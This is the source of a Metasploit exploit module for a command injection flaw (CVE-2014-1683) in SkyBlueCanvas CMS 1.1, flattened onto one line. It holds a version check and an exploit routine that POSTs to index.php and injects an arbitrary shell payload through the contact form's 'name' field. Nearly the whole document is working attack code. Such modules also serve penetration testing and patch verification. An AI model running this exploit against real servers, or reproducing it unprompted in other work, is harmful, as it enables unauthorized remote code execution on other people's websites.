1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'SkyBlueCanvas CMS Remote Code Execution', 'Description'=> %q{ This module exploits an arbitrary command execution vulnerability in SkyBlueCanvas CMS version 1.1 r248-03 and below. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Scott Parish', # Vulnerability discovery and exploit 'xistence <xistence[at]0x90.nl>' # Metasploit Module ], 'References' => [ ['CVE', '2014-1683'], ['OSVDB', '102586'], ['BID', '65129'], ['EDB', '31183'], ['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html'] ], 'Privileged' => false, 'Payload'=> { # Arbitrary big number. The payload gets sent as an HTTP # response body, so really it's unlimited 'Space' => 262144, # 256k 'DisableNops' => true, 'Compat' => { 'ConnectionType' => 'find', 'PayloadType'=> 'cmd', 'RequiredCmd'=> 'generic perl ruby bash telnet python' } }, 'Platform' => %w{ unix }, 'Targets'=> [ ['SkyBlueCanvas 1.1 r248', {}] ], 'Arch' => ARCH_CMD, 'DisclosureDate' => 'Jan 28 2014', 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]), ],self.class) end def check uri = normalize_uri(target_uri.path.to_s, "index.php") res = send_request_raw('uri' => uri) if res and res.body =~ /[1.1 r248]/ vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found") return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit uri = normalize_uri(target_uri.path.to_s, "index.php") send_request_cgi({ 'method'=> 'POST', 'uri' => uri, 'vars_get' => { 'pid' => '4' }, 'vars_post' => { 'cid' => '3', 'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};", 'email' => rand_text_alphanumeric(10), 'subject' => rand_text_alphanumeric(10), 'message' => rand_text_alphanumeric(10), 'action' => 'Send' } }) end end |